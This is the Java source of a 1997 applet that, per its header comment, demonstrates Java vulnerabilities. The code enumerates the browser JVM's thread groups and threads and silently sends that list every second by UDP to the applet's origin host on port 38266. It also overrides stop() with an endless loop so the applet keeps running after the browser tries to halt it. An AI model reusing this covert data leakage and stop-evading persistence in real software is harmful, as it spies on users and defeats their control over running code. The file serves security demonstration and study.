/*   Java applet used to demo Java vulnerabilities
     March 1997
     Andre L. dos Santos
     This is not the most beautiful code, it was first intended only for internal use.
 */
import java.applet.Applet;
import java.awt.*;
import java.io.*;
import java.net.*;
import java.util.*;

public class InspectClient3 extends Applet implements Runnable {
    boolean DEBUG = true;
    InetAddress address;
    TextField portField;
    Label display;
    DatagramSocket socket;
	Thread killme = null;
	String[] group = null;
	long ThisTime;

    public void init() {
        //Initialize networking stuff.
        String host = getCodeBase().getHost();

        try {
            address = InetAddress.getByName(host);
        } catch (UnknownHostException e) {
            System.out.println("Couldn't get Internet address: Unknown host");
            // What should we do?
        }

        try {
            socket = new DatagramSocket();
        } catch (IOException e) {
            System.out.println("Couldn't create new DatagramSocket");
            return;
        }
	Date today = new Date();
	ThisTime = today.getTime();
    }


/*    public void paint(Graphics g) {
		if (group == null)
			return;
		for(int i=0;i<group.length;i++)
			g.drawString(group[i],0,18*(i+1));
    }*/

    void doIt(int port) {
        DatagramPacket packet;
        byte[] sendBuf = new byte[256];

		if (group == null)
			return;
		for(int i=0;i<group.length;i++){
			group[i] += "Time :" + ThisTime;
	        group[i].getBytes(0, group[i].length(), sendBuf, 0);
			packet = new DatagramPacket(sendBuf, group[i].length(), address, port);

			try { // send request
				if (DEBUG) {
					System.out.println("Applet about to send packet to address "
                               + address + " at port " + port);
				}
				socket.send(packet);
				if (DEBUG) {
					System.out.println("Applet sent packet.");
				}
			} catch (IOException e) {
				System.out.println("Applet socket.send failed:");
				e.printStackTrace();
				return;
			}
		}
   
    }

 public void start() {

	if(killme == null) 
	{
        killme = new Thread(this);
        killme.start();
	}	  
 }

 public void FindInfo(int port){

 	Thread[] AllThrd ;
	ThreadGroup parent;
	Thread thisThrd = Thread.currentThread();
	ThreadGroup temp = thisThrd.getThreadGroup();
	parent = temp;
	String[] temp2 = new String[100];
	int i = 0;
	while(temp!=null){
		temp2[i++] =  temp.getName();
		parent = temp;
		temp = temp.getParent();
	}
	AllThrd = new Thread[parent.activeCount()];
	int count = parent.enumerate(AllThrd);
	group = new String[i+count];

	for(int j =0; j<count;j++){
		group[j+i] = AllThrd[j].toString();
	}
	for(int j =0; j<i; j++){
		group[j] = temp2[j];
	}
	group[0] = "Port used =";
	group[0] += port;

 }


public void stop() {
	System.out.println("Stop called");
	while(true){
		try {Thread.currentThread().sleep(100);} catch (InterruptedException e){}
		System.out.println("Alive");
	}
 }

public void run() {

// Cuidado com temporizacao.
	System.out.println("Run called");
	while(true){
		try {Thread.currentThread().sleep(1000);} catch (InterruptedException e){}
		FindInfo((int)38266);
		doIt((int)38266);
	}


 }		  



 }